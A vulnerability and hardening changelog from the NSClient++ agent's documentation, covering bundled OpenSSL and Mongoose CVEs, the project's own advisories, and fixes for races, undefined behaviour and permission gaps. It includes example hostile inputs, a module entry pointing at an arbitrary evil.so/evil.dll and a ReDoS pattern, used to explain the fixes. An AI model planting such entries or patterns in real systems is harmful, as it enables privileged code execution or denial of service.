Security notices¶
This page is the running record of security-relevant changes in NSClient++ — both published advisories (with their CVE / GHSA identifiers) and security hardening that changed behaviour but was not assigned a CVE. It complements the GitHub Security Advisories tab, which lists only published advisories and so does not capture hardening changes.
- To report a vulnerability, follow the security policy.
- For the concrete operator actions a given release requires, see Upgrading.
Use the filter below to narrow the page to your setup: pick the version you
are coming from and tick the modules your nsclient.ini enables. The
selection is shared with the Upgrading page and remembered in your browser.
A notice badged Action required
needs a change on every installation that runs the module; one badged
Check your setup only
if you use the feature it describes.
Modules: all
Tick the modules your nsclient.ini enables. Entries that touch none of the ticked modules are hidden; service covers the agent itself, which every installation runs. The selection is shared between the Upgrading and Security notices pages.
Published advisories¶
| Advisory | CVE | Severity | Affected | Summary |
|---|---|---|---|---|
| Upstream (OpenSSL) | CVE-2026-35189 and the other OpenSSL 3.5.9 fixes | Low (highest reachable) | Windows builds up to 0.24.1 (bundled OpenSSL 3.5.8) | Thirteen upstream fixes; the only one on a code path NSClient++ calls is a memory-pressure denial of service from a crafted peer certificate. |
| Upstream (OpenSSL) | CVE-2025-11187 and the other OpenSSL 3.5.5–3.5.8 fixes | Moderate (highest reachable) | Windows builds up to 0.17.0 (bundled OpenSSL ≤ 3.5.4) | Crafted-input flaws in the bundled OpenSSL; the most severe reachable one is a stack overflow parsing a hostile PKCS#12 file via check_certificate. |
| Upstream (Cesanta Mongoose) | CVE-2026-73256, CVE-2026-73257 | Critical (9.1) | Windows builds up to 0.16.3 (bundled Mongoose < 7.22) | HTTP request smuggling in the bundled Mongoose web server; exploitable behind a reverse proxy / WAF. |
| GHSA-rhrw-79v5-jc5x | CVE-2025-34079 | High (7.8) | 0.5.2.35 and earlier | Authenticated remote code execution via ExternalScripts. |
| GHSA-jr25-22p3-gm6r | CVE-2025-34078 | High (7.8) | 0.5.2.35 and earlier | Local privilege escalation from plaintext credentials in the configuration file. |
OpenSSL 3.5.9 — bundled OpenSSL updated to the 29 September 2026 security release¶
Fixed in: 0.25.0 (bundles OpenSSL 3.5.9) · Severity: Low (highest fix reachable through NSClient++)
The Windows builds of NSClient++ bundle
OpenSSL as the TLS engine for the
NRPE/NSCA/NSClient server and client modules, the web server / REST API and
every client module that talks HTTPS, for certificate parsing in
check_certificate, and for password hashing. Releases up to 0.24.1 bundle
OpenSSL 3.5.8; the upstream security release of 29 September 2026
(advisory) fixes
thirteen CVEs on the 3.5 LTS line, and the next release moves the bundled
copy to 3.5.9. Vulnerability scanners that key on the file version of
libssl-3-x64.dll / libcrypto-3-x64.dll (Microsoft Defender Vulnerability
Management among them) flag 3.5.8 for all of them (#1665).
Only one of the thirteen sits on a code path NSClient++ calls:
- CVE-2026-35189
(Low) — a certificate carrying many relative CRL distribution points makes
OpenSSL allocate disproportionate heap memory when it caches the
certificate’s extensions. Every TLS client in NSClient++ that verifies its
peer (
NRDPClient,IcingaClient,GraphiteClient,NSCANgClient,SMTPClient,CheckKubernetes,check_tcp, fleet sync) caches the server’s certificate, and the NRPE and web servers cache a client certificate when configured to ask for one. A malicious or spoofed peer can therefore drive up the agent’s memory use. The impact is a denial of service on the agent; there is no memory-safety or confidentiality impact. - CVE-2026-54872 (Low) — a timing side-channel in ECDSA signing with curves that have no dedicated constant-time implementation. NSClient++ generates RSA and Ed25519 keys and its TLS key exchange uses X25519 / P-256, which are not affected; it would take an operator-installed server certificate on a curve such as brainpool or secp256k1, and a peer timing many handshakes.
The remaining fixes, including the one High-severity entry
(CVE-2026-84782, a heap
over-read in DTLS retransmission), are in DTLS, QUIC, CMP and SM2 code and
the SSL_set_SSL_CTX() mid-handshake context switch, none of which
NSClient++ uses.
Not affected: the Linux packages (DEB/RPM) link the distribution’s OpenSSL
and receive these fixes through ordinary OS updates. The macOS tarball
carries the Homebrew openssl@3 bottle current when it is built, so a
tarball built after 29 September 2026 already ships 3.5.9 or later.
What to do: upgrade Windows installs to the next release. No configuration change is needed.
OpenSSL 3.5.5–3.5.8 — bundled OpenSSL updated past four upstream security releases¶
Fixed in: 0.18.0 (bundles OpenSSL 3.5.8) · Severity: Moderate (highest fix reachable through NSClient++)
The Windows builds of NSClient++ statically bundle
OpenSSL as the TLS engine for the
NRPE/NSCA/NSClient server and client modules and the web server / REST API,
for certificate parsing in check_certificate, and for password hashing.
Releases up to 0.17.0 bundled OpenSSL 3.5.4; the four upstream security
releases since then — 3.5.5 (27 Jan 2026), 3.5.6 (7 Apr 2026), 3.5.7
(9 Jun 2026) and 3.5.8 (25 Aug 2026) — fix some forty CVEs on the 3.5 LTS
line, and 0.18.0 moves the bundled copy to 3.5.8.
The fixes most relevant to NSClient++ sit on code paths it actually calls:
- CVE-2025-11187
(Moderate) — missing validation of PBMAC1 parameters in PKCS#12 files can
trigger a stack buffer overflow or invalid pointer dereference during MAC
verification.
check_certificateparses operator-specified certificate files and falls back to PKCS#12 (.pfx/.p12) parsing, so a hostile certificate file scanned by a check reaches this code. - Several further low-severity fixes on the same PKCS#12/ASN.1 parsing paths
(CVE-2025-69421,
CVE-2026-22795,
CVE-2026-34181,
CVE-2026-7383,
CVE-2026-34180) and in
the TLS stack
(CVE-2025-66199
TLS 1.3
CompressedCertificatememory growth, CVE-2025-15468).
The highest-severity upstream fixes in this span —
CVE-2026-45447 (High,
use-after-free verifying a PKCS#7/S/MIME signature) and
CVE-2025-15467 (High,
stack overflow parsing CMS AuthEnvelopedData) — are in CMS / S/MIME code
NSClient++ never calls, and the QUIC, CMP and DTLS fixes likewise do not
apply.
Not affected: the Linux packages (DEB/RPM) link the distribution’s OpenSSL and receive these fixes through ordinary OS updates.
What to do: upgrade Windows installs to 0.18.0 or later — promptly if
check_certificate is pointed at certificate files or directories that
less-trusted principals can write to. No configuration change is needed.
CVE-2026-73256 / CVE-2026-73257 — HTTP request smuggling in the bundled Mongoose web server¶
Fixed in: 0.16.4 (bundles Mongoose 7.23) · Severity: Critical (CVSS 9.1, upstream)
NSClient++ bundles the Cesanta Mongoose
embedded web server as the HTTP engine for the WEBServer module (the REST API
and web UI) in the Windows builds (NSCP_WEB_BACKEND=mongoose, the Windows
default). Two request-smuggling vulnerabilities were published upstream against
Mongoose’s HTTP parser, both fixed in Mongoose 7.22:
- CVE-2026-73256 — a broken HTTP/1.0 detection check in
http_cb()lets a request that combinesTransfer-Encoding: chunkedwith conflicting HTTP/1.0 framing be parsed with different message boundaries than an HTTP/1.0 reverse proxy in front of it. - CVE-2026-73257 — a request carrying both
Content-LengthandTransfer-Encoding: chunkedis accepted instead of rejected, enabling a classic CL.TE desynchronization against a Content-Length-preferring front end.
Both are only exploitable when requests reach NSClient++ through an intermediary (reverse proxy, WAF, load balancer) that frames the request stream differently than Mongoose: an unauthenticated attacker can then smuggle a second request past the intermediary’s access controls (path/method ACLs, IP restrictions, proxy-level authentication) or inject it into another client’s reused connection. In the common direct client → NSClient++ deployment there is no front end to desynchronize. NSClient++’s own authentication and WEB permissions are evaluated per request inside the module, so a smuggled request still needs valid NSClient++ credentials — what smuggling defeats is any security control enforced in front of NSClient++.
Not affected: the Linux packages (DEB/RPM) build the WEBServer module on the
Boost.Beast backend and do not contain Mongoose at all; neither do builds with
the WEBServer module disabled.
What to do: upgrade Windows installs to 0.16.4 or later, which bundles
Mongoose 7.23 — promptly if NSClient++ sits behind a reverse proxy or WAF. As a
stop-gap, an HTTP/1.1-only front end that itself rejects requests with both
Content-Length and Transfer-Encoding reduces (but does not remove) the
exposure.
CVE-2025-34079 — Authenticated RCE via ExternalScripts¶
Action required
An attacker who already holds valid administrator credentials can register and
run an external script, achieving remote code execution. It affects the legacy
0.5.2.35 architecture that predates the current REST v2 API.
What to do: upgrade to a current supported release, and restrict who can
configure ExternalScripts / hold an administrator role. See the
external scripts and
permissions guidance. Full detail:
GHSA-rhrw-79v5-jc5x.
CVE-2025-34078 — Local privilege escalation via plaintext credentials¶
Action required
A principal with local filesystem access can read plaintext credentials stored
in nsclient.ini and reuse them. It affects the legacy 0.5.2.35 architecture.
What to do: upgrade to a current supported release; lock down the configuration file with filesystem ACLs and, where possible, move sensitive values into the credential manager (see Securing NSClient++). Full detail: GHSA-jr25-22p3-gm6r.
Hardening changes (no CVE)¶
Security-relevant changes that are handled as defense-in-depth / consistency hardening rather than assigned a CVE are listed here as they ship, newest first, alongside the release that contains them.
Audit follow-ups: administrator-equivalent grants, USER_WRITABLE_CONFIG, process command lines and the dead /metrics route¶
Check your setup · Fixed in: 0.25.0 · Severity: Informational
Five informational findings from the 2026-09 source review were closed. None of them changes what a caller can reach; four put on record a boundary the documentation did not state, and one removes a route that could not be reached.
- Web grants that amount to code execution were not named. A role
carrying
settings.putcan write an external script definition, openallow argumentsand reload;console.exec,modules.post,scripts.add.*,settings.delete,legacyand*are in the same class. The securing guide now lists them, and notes thatlogs.putcan forge lines in the agent log. - The MSI property
USER_WRITABLE_CONFIGgives the localUsersgroup write access tonsclient.ini, which lets any local user have a script of their choosing run asSYSTEM. The MSI options now document it, with that warning. check_processreturns full process command lines through thecommand_linekeyword and itsfetch-onlyfeed, read with the agent’s privileges; command lines often carry passwords and tokens. The data disclosure table and thecheck_processreference now say so.- The REST guide’s user example showed a clear-text stored password.
nscp web add-userstores a PBKDF2 hash; the example now shows that, and says that a password hand-written intonsclient.inistays in clear text on disk until the command is run for that user. - The legacy
GET /metricsroute was registered but unreachable - the static file handler claims every/metricsURL first - while the REST guide documented it as live. It is removed, and a test pins that the URL never answers with metrics, so a later change to the handler order cannot bring alegacy-grant route back.
What to do: if you installed with USER_WRITABLE_CONFIG=1, or give web
roles any of the listed grants, check that every account involved is one you
would trust as a local administrator.
Audit follow-ups: NRPE log escaping, check_nt log flooding and About-page link schemes¶
Fixed in: 0.25.0 · Severity: Low
Three informational findings from the 2026-09 source review were closed. None
of them gives a caller more than it already had; each tidies up what a peer
inside allowed hosts could make the agent write or render.
- NRPE logged the command name and arguments as raw wire bytes on three
paths: the trace line for every request, which ran before the metacharacter
filter and carried the arguments too, the trace line for every response, and
the error line for an internal exception. The core logger does not scrub
control characters, so a command or argument carrying
CR/LFcould forge a second, convincing log line. All three now pass those fields through the sameescape_for_log()that already protects the TLS peer name, which renders control characters as\xNNand truncates an oversized value. - check_nt logged an error for every request when no password was
configured. Every request is refused in that state, which is right, but
an allowed host could grow
nsclient.logby a line per packet for as long as it liked. The condition is now reported once, when the module loads, and the per-request refusal is a debug-level trace. Two argument-filter fields the server inherited from its NRPE sibling but never read were removed with it. - The About page of the web UI linked to each bundled npm package’s
homepage verbatim. That field comes from the package’s own metadata, and
React only warns on a
javascript:href, so a compromised transitive dependency could have planted one for an administrator to click. The license generator now accepts only anhttp:orhttps:URL that parses, and falls back to the package’s npmjs.com page otherwise.
None of these is known to have been exploited.
What to do: nothing beyond upgrading. If you alert on NRPE log lines, note
that a command name or argument string is now rendered with \xNN escapes
for control characters and cut at 255 characters.
LUAScript: concurrent calls into one script crashed the agent¶
Fixed in: 0.25.0 · Severity: Medium where a Lua check that sleeps or calls the core can run twice at once; none otherwise
Every call into a Lua script ran on that script’s one lua_State, on its
main stack. The Lua runtime serialises calls with a process-wide lock, but it
releases that lock while a handler waits - in nscp.sleep and around every
Core call (simple_query, query, simple_exec, simple_submit, …), so
that the call it makes can run Lua of its own. While the first call was parked
there, a second thread could enter the same script and push its own frames
onto the stack the first call was still running on. Lua does not support
that: two nscp.sleep calls arriving at the same time were enough to
terminate nscp with an access violation inside lua.dll (0xC0000005).
The check_mk Lua callbacks in CheckMKServer and CheckMKClient entered
scripts the same way.
The impact is denial of service. A check runs concurrently whenever two
requests for it overlap: over NRPE, NSCA or check_mk, whose socket servers run
requests on a worker pool, and from the Scheduler when several of its
threads pick up such a check. So any host past allowed hosts that may run a
Lua check which sleeps or calls the core - scripts/lua/check_cpu_ex.lua
calls check_cpu that way - could stop the agent by asking for it twice at
once, and a busy schedule could do the same unprompted. A Lua check that does
neither never released the lock and was not affected. Over REST alone it
could not happen: the web server runs one request at a time.
Each call into a script - a query, a command, a submission handler, main,
the top-level code and on_start, and the check_mk callbacks - now runs on
a Lua thread of its own, which shares the script’s globals and registry but
has its own stack. The lock is unchanged, so script code still never runs on
two threads at once; what a parked call leaves behind is no longer in another
call’s way.
What to do: nothing beyond upgrading.
LUAScript: reading and deleting scripts over REST and the CLI¶
Check your setup · Fixed in: 0.25.0 · Severity: Low
GET and DELETE on /api/v2/scripts/lua/<name> - and the nscp lua show and
nscp lua delete verbs behind them - used to do nothing: they answered an empty
200 and changed nothing. They now read and delete script files, which is what
the scripts API documents and what the py and ext
runtimes already do. That is new reach for anyone holding the grants:
| Grant | Now allows |
|---|---|
scripts.get.LUAScript |
Reading any file under ${scripts}/lua |
scripts.delete.LUAScript |
Deleting any file under ${scripts}/lua, and the configuration entries that load it |
The built-in full role (*) holds both; no other built-in role does.
Both are confined to ${scripts}/lua, with the rules PythonScript applies to its
folder. A name is resolved inside that folder only - never relative to the
working directory, never as an absolute path - and the check is made on real
paths with symlinks resolved, so a symlinked sub-folder cannot reach outside it.
A path that cannot be resolved is refused. show reads a symlink only when its
target is inside the folder as well. delete removes the entry itself - a file,
or a symlink whatever it points at - and never follows a link, so it cannot
remove anything outside the folder. Over REST the name is also rejected before
any of this if it holds .., a leading / or a drive letter.
What to do: nothing on a default install. If a custom role holds
scripts.delete.LUAScript, scripts.get.LUAScript or scripts.* and was not
meant to read or remove Lua scripts, take the grant away.
PythonScript: reading and deleting scripts over REST and the CLI¶
Check your setup · Fixed in: 0.25.0 · Severity: Low
GET and DELETE on /api/v2/scripts/py/<name> - and the nscp py show and
nscp py delete verbs behind them - used to do nothing: they answered an empty
200 and changed nothing. They now read and delete script files, which is what
the scripts API documents and what the ext runtime
already did. That is new reach for anyone holding the grants:
| Grant | Now allows |
|---|---|
scripts.get.PythonScript |
Reading any file under ${scripts}/python |
scripts.delete.PythonScript |
Deleting any file under ${scripts}/python, and the configuration entries that load it |
The built-in full role (*) holds both; no other built-in role does.
Both are confined to ${scripts}/python. A name is resolved inside that folder
only - never relative to the working directory, never as an absolute path - and
the check is made on real paths with symlinks resolved, so a symlinked
sub-folder cannot reach outside it. A path that cannot be resolved is refused.
show reads a symlink only when its target is inside the folder as well.
delete removes the entry itself - a file, or a symlink whatever it points at -
and never follows a link, so it cannot remove anything outside the folder. Over REST the name is also rejected before any of this if
it holds .., a leading / or a drive letter.
What to do: nothing on a default install. If a custom role holds
scripts.delete.PythonScript, scripts.get.PythonScript or scripts.* and was
not meant to read or remove Python scripts, take the grant away.
Listing scripts over REST ran every check¶
Fixed in: 0.25.0 · Severity: Low
GET /api/v2/scripts/lua and GET /api/v2/scripts/py, without all=true, list
the queries the agent serves. To build that list the script modules asked the
core for every query’s parameters, and the core collects a query’s parameters by
running it. So a caller holding only scripts.lists.LUAScript or
scripts.lists.PythonScript - grants for listing - could make the agent run every
check it has, once per request: every Lua and Python handler included, with
whatever side effects it has, and with arguments the handler did not expect. The
listing now asks for the names only, which is all it ever printed.
GET /api/v2/queries/<name>/help (grant queries.list) ran the one script
handler it names the same way. The script modules now answer that request
themselves - a script’s query declares no parameters - without running the
handler.
What to do: nothing.
Settings reload races: included settings stores and the permission table¶
Check your setup · Fixed in: 0.25.0 · Severity: Low; Medium where an HTTP settings source enables the permission policy
A concurrency review of the core found places where a settings reload raced with the threads still reading the configuration, or left it unreadable.
- Listing pending settings changes (the settings API’s diff query), printing the settings stores and the scheduler’s settings house-keeping walked the list of included settings stores without its lock, while a reload emptied and refilled that list. A store could be freed under the walk: a use-after-free that crashes the agent. Each walk now works on a copy taken under the lock. An HTTP settings store that re-downloaded a changed file also emptied its list and only refilled it later, so its whole remote configuration briefly read as defaults; it now swaps the new copy in one step.
- A plugin reload cleared every included settings store, and an HTTP store never rebuilt what it held: from then on every value it supplied read as its default - security settings included, such as a permission policy the remote file enabled - until the remote file next changed. It now keeps the configuration it has across the reload. A newly downloaded copy that cannot be loaded (antivirus still holding the file, say), or that times out waiting for the store’s lock, no longer replaces the previous one, and is tried again on the next pass.
- With the permission policy enabled, a reload
cleared the rule table and refilled it one rule at a time, so a check that
arrived in between was denied. That failed closed, so nothing was let
through, but every reload produced a burst of spurious denials. The table is
now rebuilt aside and published in one step. A load that fails part-way
used to leave whatever it had got to - usually an emptied table with the
previous
allow execstill in force, or the whole previous table, rules the operator had just removed included, when it failed while registering the settings keys. Now, under an enabled policy, the rules read before the failure are enforced, every other call is denied, andallow execcounts asfalseunless it was read, until the policy loads; registering the keys can no longer fail the load. A failure beforeenabledis read leaves the policy as it was - off on a host that never enabled it, enforced on one that did - and at boot that means off until a reload reads it.
None is known to have been exploited. Beyond crashing the agent or denying a check, the only effect is the HTTP case above: settings read as their defaults after a plugin reload.
What to do: nothing beyond upgrading, unless you enable the permission
policy: a reload that fails part-way now denies exec as well as every call
no rule read so far allows, so watch for permissions: failed to load in the
log, which names the failure.
Undefined-behaviour sweep: process listing, remote registry, real-time log files and remote JSON values¶
Fixed in: 0.25.0 · Severity: Low–Medium
Five more findings from the second undefined-behaviour sweep were fixed. Only
one takes its input from outside the host: the reply of a server that
check_http is pointed at.
check_http json-path=converted the extracted JSON number to an integer with a plain cast. A number beyond the 64-bit range (1e300, or an unsigned value above 2^63) made that conversion undefined, and in practice produced a large negative value. Such a number now saturates at the integer limit. The server (or anyone on the path whenverify=none) chooses this value.- On Windows, a host running 4096 or more processes made every process listing
(
check_process, the process collectors, real-time process filters) retry with a ten times larger buffer, over and over, until the allocation failed. The retry now compares against the buffer it actually passed, doubles the buffer and stops at a fixed limit. check_registry_keyandcheck_registry_valuewithcomputer=closed the handle to the remote registry before reading it. Handle values are reused, so the reads either failed or went to another object the process had opened since. The handle now stays open while the key is read.- Real-time log file monitoring on Linux read each inotify event’s file name, but the events for a watched file have no name. Every write to a monitored log therefore ran a string scan into the next event, or past the data that was read.
- The NRPE and NSCA CRC32 table was filled in lazily by the first thread that needed it. Two connections arriving together on a freshly started agent could use a partly filled table and reject a valid packet. The same table is used by NRPEClient and NSCAClient for outbound packets. The table is now a compile-time constant.
None of these is known to have been exploited.
What to do: nothing beyond upgrading.
Undefined-behaviour sweep: filter arithmetic, collector and status races, process memory, log truncation and the HTTP settings cache¶
Fixed in: 0.25.0 · Severity: Low–Medium
Ten more findings from the second undefined-behaviour sweep were fixed. Only the first two take their input from outside the host: a filter expression sent by a caller that is allowed to pass arguments.
convert()in a filter multiplied its operand by the unit, and added a time offset to the current time, without checking for overflow:size > convert('9000000', 't')orwritten > convert(1.5e17, 'w')computed a signed overflow, which is undefined, or rounded a fractional value to an unspecified integer. A value that does not fit is now reported as an evaluation error on the check instead.- Negating an integer (
not/neg()) of the smallest 64-bit value, or a date far enough from now, overflowed the same way. That is now reported as an evaluation error too. - The reference time that date keywords (
age,written, certificate expiry, …) are measured against was a plain global, set by every check and read by checks running at the same time on other threads. It is now atomic. - On Windows, a performance counter using the default
staticcollection strategy stored each new sample under a shared (read) lock, so a check reading the same counter could run at the same moment and, on 32-bit builds, see half-written values. The store now takes an exclusive lock. - On Linux,
check_processread the memory fields of a process that exited between opening and reading/proc/<pid>/statmwithout initialising them, and reported whatever was on the stack as its memory use. The fields now start at zero and a failed read is reported as an error on that process. - With the settings loaded over
http(s)://, a cache folder path naming an existing file threw an exception no handler catches, so the agent terminated instead of reportingCache path not found. It is now reported like any other settings error. - The log file truncation that keeps
nsclient.logundermax sizecomputed 70% of the limit through a 32-bitint, which is undefined for amax sizeof about 2.9 GiB or more, and held the kept part in memory. It is now computed in the file-size type, and the kept part is moved to the front of the file through a fixed buffer. - On Linux, the stop flag of the CheckSystemUnix collector thread was a plain
boolshared between the module and the collector thread; it is now atomic. - The legacy web API stored the agent status for
/core/isaliveunder a shared (read) lock, so a/core/reloadcould assign the string while/core/isalivecopied it. The store now takes an exclusive lock. - When a module’s version call failed, the version string was formatted from
uninitialised integers. It now reads
0.0.0.
None of these is known to have been exploited.
What to do: nothing beyond upgrading.
Undefined-behaviour sweep: perfdata parsing, filter_perf sorting, saturating casts and script bindings¶
Fixed in: 0.25.0 · Severity: Low
Ten more findings from the second undefined-behaviour sweep were fixed. All are small and local; none is reachable by an unauthenticated remote peer, and only two take their input from outside the host (a Docker daemon or Kubernetes API server reply, and a WMI array value).
- The performance-data parser threw an unhandled
std::out_of_rangeon input that was nothing but spaces, which a wrapped command or a script can produce. Such input is now parsed as empty. filter_perf sort=normal|reversesorted with a comparator that was not a strict weak ordering once a non-numeric entry sat between two numeric ones, which makesstd::sortundefined. Numeric entries now sort by value and every non-numeric entry sorts after them.- A floating-point filter keyword read as an integer (
check_cpuload averages, temperatures, …) was cast with a plainstatic_cast; a NaN or a value beyond the 64-bit range made that cast undefined. The value now saturates at the integer limit and is flagged as unsure, asfloat_valuealready did. check_memoryandcheck_pagefileon Linux computed a percentage threshold astotal * number / 100in 64-bit integers, which overflows (undefined) for a large caller-supplied number. The product is computed in floating point and saturated.CheckDockerandCheckKubernetescast a floating-point JSON number from the daemon or API server straight to an integer. A NaN or a number beyond the 64-bit range now saturates instead.- A Python script calling
query()on the core had its request read, and its early-return tuple built, with the GIL released; both touch Python objects. They are now done before the GIL is dropped, assubmit()does. - A Lua script that called
obj:__gc()on a Check_MK section, packet, line or metrics object itself, before the collector ran the metamethod again, deleted the wrapped C++ object twice. The slot is nulled after the first delete, and a method called on the destroyed object raises a Lua error instead of dereferencing the empty slot. - On Windows, a WMI array whose
VT_BSTRelement was a null string was handed tostd::wstringas a null pointer. It renders as an empty string. - The registry settings backend read a
REG_DWORDvalue through the byte buffer it had been queried into, an aliasing violation. The value is copied out, and a value shorter than a DWORD reads as 0. - The Linux external-script runner wrote a dead global
early_timeoutfrom every worker thread. The variable is gone.
None of these is known to have been exploited.
What to do: nothing beyond upgrading.
NSCANgClient: antivirus detections, and the module leaves the Windows installer¶
Check your setup · Fixed in: 0.24.1 · Severity: Unconfirmed: generic antivirus detections, no known vulnerability
Four antivirus engines on VirusTotal report NSCANgClient.dll from the 0.24.0
Windows build as malware: Win64:Evo-gen [Trj] (Avast and AVG, which share an
engine), TR/W64.Evo (Avira, and WithSecure, which uses Avira’s engine),
Mal/Generic-S (Sophos) and Artemis!<hash> (Trellix). The other engines,
Microsoft Defender among them, reported it as clean.
All four are generic machine-learning verdicts rather than signatures for a known malware family: they score what a file looks like, and a small, rarely seen DLL whose code is mostly a TLS handshake over raw sockets is a shape they are known to over-fire on. That makes a false positive the likely explanation, but it is not proof of one, and neither is the file’s signature. Until the vendors have analysed the file, the detections are unconfirmed rather than disproven.
What the release evidence shows¶
The file in the release is the one this project’s release workflow built:
- it is Authenticode-signed with the project’s certificate, like every executable and DLL of the release;
- the MSI and the zip carry a Sigstore-signed build provenance attestation
naming the commit they were built from (
gh attestation verify <file> --repo mickem/nscp); - the zip’s
SHA256SUMScovers the DLL.
That rules out a file altered after the build: a tampered download, mirror or installed copy. It cannot rule out a compromise before the signature, such as malicious code in the repository, a compromised dependency or a compromised build runner, because the result would be signed and attested all the same. The attestation names the commit, so the source the DLL was built from can be read, and the SBOM names every third-party component and the upstream file it was verified against; see Verifying the download.
What changes¶
Because the reports made the whole installer look infected, which is enough
for a download to be blocked, the Windows installer no longer ships the module.
It is still in the Windows zip, still signed, and is copied into the modules
folder by hand; the Linux and macOS packages are unchanged. The module goes
back into the installer once the vendors have cleared it.
What to do: if you use NSCANgClient on Windows, decide whether to keep
using it while the detections are unconfirmed. If you do, copy
modules\NSCANgClient.dll from the zip of the same version and platform into
the installation’s modules folder after upgrading, and again after every
later upgrade, as the
NSCANgClient reference describes. Check
the file first as the
FAQ shows, and read
there what those checks cannot tell you. If your antivirus quarantines it,
send it to your vendor for analysis, and exclude only that one file if you
choose to run it. Report anything that suggests a real compromise privately
through a
GitHub security advisory.
Nothing to do otherwise.
Resource limits on command nesting, regular-expression matching and log-file reads¶
Check your setup · Fixed in: 0.24.0 · Severity: Medium: denial of service reachable by any caller allowed to pass check arguments
Three unbounded costs, each reachable from one request by a caller that is
allowed to pass arguments to a check — an NRPE peer with
allow arguments = true, or an authenticated REST caller with
queries.execute.
Command nesting¶
A check that runs other checks — check_multi, check_and_forward,
check_timeout, the Scheduler’s on-demand runs — calls back into the core on
the same OS thread, and nothing bounded that recursion. One argument string
nesting check_multi a few thousand levels deep pushed a few thousand full
handler frames (protobuf messages, an options_description, the filter
machinery) and exhausted the thread stack. Stack exhaustion is not a catchable
exception on Windows, so the process died; there is no recovering from it after
the fact.
Query dispatch now carries a per-thread depth counter and refuses past 16
levels with a structured error. A wrapper around a wrapper is depth 2 or 3, so
the limit is far above anything real. check_multi separately caps its
fan-out at 128 commands per call: the depth guard stops the recursion going
deep, this stops one request going wide.
Regular-expression backtracking¶
Both halves of a =~ are untrusted. The pattern comes from a filter,
warning or critical argument; the subject is what the check is looking at —
a log line, a process name, an event-log string — which a local unprivileged
user can usually plant. A pattern like (a+)+$ against a long non-matching
subject backtracks exponentially.
Boost.Regex has always had a state-count ceiling, so a single match could not run forever, but it could burn on the order of a second of CPU — and a filter is evaluated once per record, so over a large event log or a multi-gigabyte file that is minutes of a pinned worker thread for one request. Worse, the exception Boost throws on that ceiling was reported as “Invalid syntax in regular expression”, sending operators to look for a typo in a pattern that is perfectly well formed.
The filter engine now keeps a per-check budget for the total time spent inside regex matching, across every record of one check. Past the budget further matches are refused and reported, so the check comes back UNKNOWN rather than quietly under-matching. A subject longer than 1 MiB is refused rather than truncated, because truncating would silently change the verdict. Compiled patterns are cached per thread, which removes a per-record compile that was pure waste. And a complexity failure is now reported as what it is, with advice on what to change.
Whole-file log reads¶
check_logfile with the default max-lines=0 and no bookmark read the entire
target into one string and matched every record of it. Pointed at a large file
— which the caller names — one call inflated the agent to the size of the file
and did file-sized matching work.
A new max-size option, default 64 MiB, bounds what one call reads. With a
bookmark the limit is pacing and nothing is lost: the check consumes up to that
much, the stored position advances over what it read at a record boundary, and
the next check continues. Without a bookmark there is no position to resume
from, so a file over the limit is reported as UNKNOWN naming the three ways out
rather than being silently half-read.
What to do: nothing on a default install. If a check_logfile command
reads a file larger than 64 MiB in one go, add bookmark=auto (which is what
you want anyway — it reports each line once), add max-lines, or raise
max-size. If a check_multi genuinely runs more than 128 commands, split it.
nscp web install serves HTTPS by default¶
Fixed in: 0.24.0 · Severity: Low
nscp web install, the command the documentation tells operators to run to
turn the web server on, enabled HTTPS only when passed --https. The switch
behind it was stored as false whenever the flag was absent, so a plain
nscp web install wrote an empty certificate, generated none, and on older
releases left the REST API and web UI — session keys and passwords included —
on cleartext HTTP. On current releases, where the server refuses to start in
cleartext unless allow insecure = true is set, the same install produced a
web server that did not start at all.
The command now sets up HTTPS unless asked for cleartext with --insecure:
it generates the self-signed ${certificate-path}/certificate.pem when it is
missing (private key and certificate in the one file, readable only by the
account running the agent), repairs an earlier install that left the
certificate blank, and writes allow insecure = false so a stale opt-in from
an --insecure run cannot turn a lost certificate into a cleartext listener.
--insecure is the explicit opt-in: it writes allow insecure = true, no
certificate, and moves a default port from 8443 to 8080, and says so.
A generated private key is readable by its owner only. On a packaged Linux
host the install commands run under sudo while the service runs as
nsclient, so a certificate generated by nscp web install or
nscp nrpe install was root’s and the service could not load it: the
install reported success and the server never came up. Both commands now hand
a certificate they generated to the owner of ${data-path}, the state
directory packaging chowns to the service account (the reference nscp enroll
already uses). Only the file the command wrote changes owner, by descriptor
after an O_NOFOLLOW open, so a link planted in a directory the service can
write to is refused rather than followed; the mode stays 0600, and an
existing certificate is never touched. A certificate folder the command had to
create is handed over with it and made traversable (0755) whatever umask the
root shell carried, since a 0700 root-owned folder would keep the service out
just as well. A CA that nscp nrpe install generates is handed over as its
certificate only: the CA private key, which nothing in the server reads and
which mints the client certificates verify mode = peer-cert accepts, stays
root’s. If a handoff fails, the command prints the chown --reference= to run.
What to do: nothing required. If you ran nscp web install on a release
that still fell back to HTTP, re-run it to switch the web server to HTTPS, or
replace the generated self-signed certificate with one of your own through
--certificate / --certificate-key. See the
upgrade note.
Core: module names as paths, remote settings migration, sensitive-key names, service hardening¶
Check your setup · Fixed in: 0.24.0 · Severity: Low
Six findings from a review of the core service, the settings engine and the Linux packaging.
A module name was used as a raw filesystem path¶
The right-hand side of a [/modules] entry, and the name in a settings
Control.LOAD request, reached the loader as-is. An absolute value replaced the
module path outright and .. walked out of it, so /tmp/evil.so = enabled or
C:\Users\Public\evil.dll = enabled loaded an arbitrary shared object into the
SYSTEM or root process. Both writers are already code-execution-equivalent —
a settings.put grant plus a reload, or a script plugin issuing a registry
query — but naming a module should not also mean naming a file anywhere on the
host. The loader now requires a single path segment, the same rule the REST
module routes have applied for a while.
The module fallback searched the current directory¶
When a module was not found in the module path, the loader fell back to
./modules — relative to the process’s working directory. An administrator
running nscp client or nscp test from a user-writable folder therefore let
whoever could write there supply the library. The fallback resolves against
${exe-path} now, which is what it was always meant to name.
Windows module dependencies still resolve through the legacy search order¶
Modules are loaded with LoadLibrary, which resolves their imports through
the legacy search order, current directory and PATH included. Narrowing that
to the default search directories was attempted and reverted: those flags take
only a fully qualified path, and confining the search also stops a module
finding the shared libraries it links against, which the agent’s own plugins
do. It needs its own change, made and verified on Windows, rather than riding
along with this one.
What is fixed here is the path the loader is given — the two items above — which is where a caller had influence. Resolving a module’s imports is a hardening item with no caller-controlled input, and it is tracked separately.
Settings could be migrated to an http:// store¶
Control.SAVE, and nscp settings --migrate-to, name the store to write. The
store factory honours every protocol it knows, including http and https, so a
caller able to issue a settings control could name a host of their choosing as
the target — and what is written there is this host’s whole configuration: the
NRPE and NSCA keys, the WEB password, every module’s credentials, unredacted.
That is precisely what GET /api/v2/settings masks from a settings.get reader.
Migrating to a remote store is now refused, on the core’s own migrate_to and in
the Control handler, through one shared predicate.
